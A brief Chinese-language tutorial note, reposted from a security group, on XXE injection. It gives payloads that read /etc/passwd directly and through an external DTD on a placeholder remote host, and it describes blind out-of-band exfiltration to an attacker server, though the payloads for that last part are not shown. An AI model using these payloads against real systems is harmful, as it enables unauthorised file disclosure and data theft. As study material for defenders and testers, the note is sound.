轉載學習於紅日安全
一、有回顯
(1)直接將外部實體引用的URI設置為敏感目錄
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
(2)將外部實體引用的 URL 設置到本地服務器,本地構建惡意 dtd 文件,遠程注入
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部 evil.dtd 中的內容:
<!ENTITY evil SYSTEM "file:///etc/passwd" >
二、無回顯
可以使用外帶數據通道提取數據,先使用 filter:/// 獲取目標文件的內容,然后將內容以 http 請求發送到接收數據的服務器(攻擊服務器)。實體 remote,all,send 的引用順序很重要,首先對 remote 引用的目的是將外部文件 evil.xml 引入到解釋上下文中,然后執行 %all,這時會檢測到 send 實體,在 root 節點中引用 send,就可以成功實現數據轉發

也可以直接在 DTD 中引用 send 實體,如果在 evil.xml 中,send 是個參數實體的話
